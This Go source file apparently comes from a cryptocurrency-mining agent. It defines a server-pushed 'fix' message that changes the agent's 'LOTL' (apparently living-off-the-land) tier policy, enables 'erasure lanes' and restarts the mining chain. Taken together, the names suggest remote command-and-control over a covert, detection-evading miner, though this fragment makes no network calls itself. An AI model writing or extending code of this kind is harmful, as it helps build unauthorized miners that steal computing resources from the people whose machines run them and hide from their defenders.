package client

import (
	"context"
	"encoding/json"
	"log"

	"crypto-miner-agent/miner"
)

// EpidemiologyFix is a server-pushed surgical correction after a broken mining branch.
type EpidemiologyFix struct {
	AgentID      string   `json:"agent_id"`
	Reason       string   `json:"reason"`
	SkipTiers    []string `json:"skip_tiers,omitempty"`
	ForceTier    string   `json:"force_tier,omitempty"`
	RestartChain bool     `json:"restart_chain,omitempty"`
	ErasureLanes bool     `json:"erasure_lanes,omitempty"`
}

func (c *AgentClient) applyEpidemiologyFixJSON(raw json.RawMessage) {
	if len(raw) == 0 || string(raw) == "null" {
		return
	}
	var fix EpidemiologyFix
	if err := json.Unmarshal(raw, &fix); err != nil {
		return
	}
	if fix.AgentID != "" && fix.AgentID != c.agentID {
		return
	}
	c.mu.Lock()
	policy := c.tierPolicy
	if len(fix.SkipTiers) > 0 {
		have := make(map[miner.LOTLTier]bool, len(policy.SkipTiers))
		for _, t := range policy.SkipTiers {
			have[t] = true
		}
		for _, s := range fix.SkipTiers {
			tier := miner.LOTLTier(s)
			if tier == "" || have[tier] {
				continue
			}
			have[tier] = true
			policy.SkipTiers = append(policy.SkipTiers, tier)
		}
	}
	if fix.ForceTier != "" {
		policy.ForceTier = miner.LOTLTier(fix.ForceTier)
	}
	c.tierPolicy = policy
	if fix.ErasureLanes {
		c.cfg.ErasureLanesEnabled = true
	}
	restart := fix.RestartChain
	c.mu.Unlock()

	log.Printf("[agent] epidemiology fix applied: %s", fix.Reason)
	if restart && c.miningChain != nil {
		c.miningChain.Restart(context.Background())
	}
}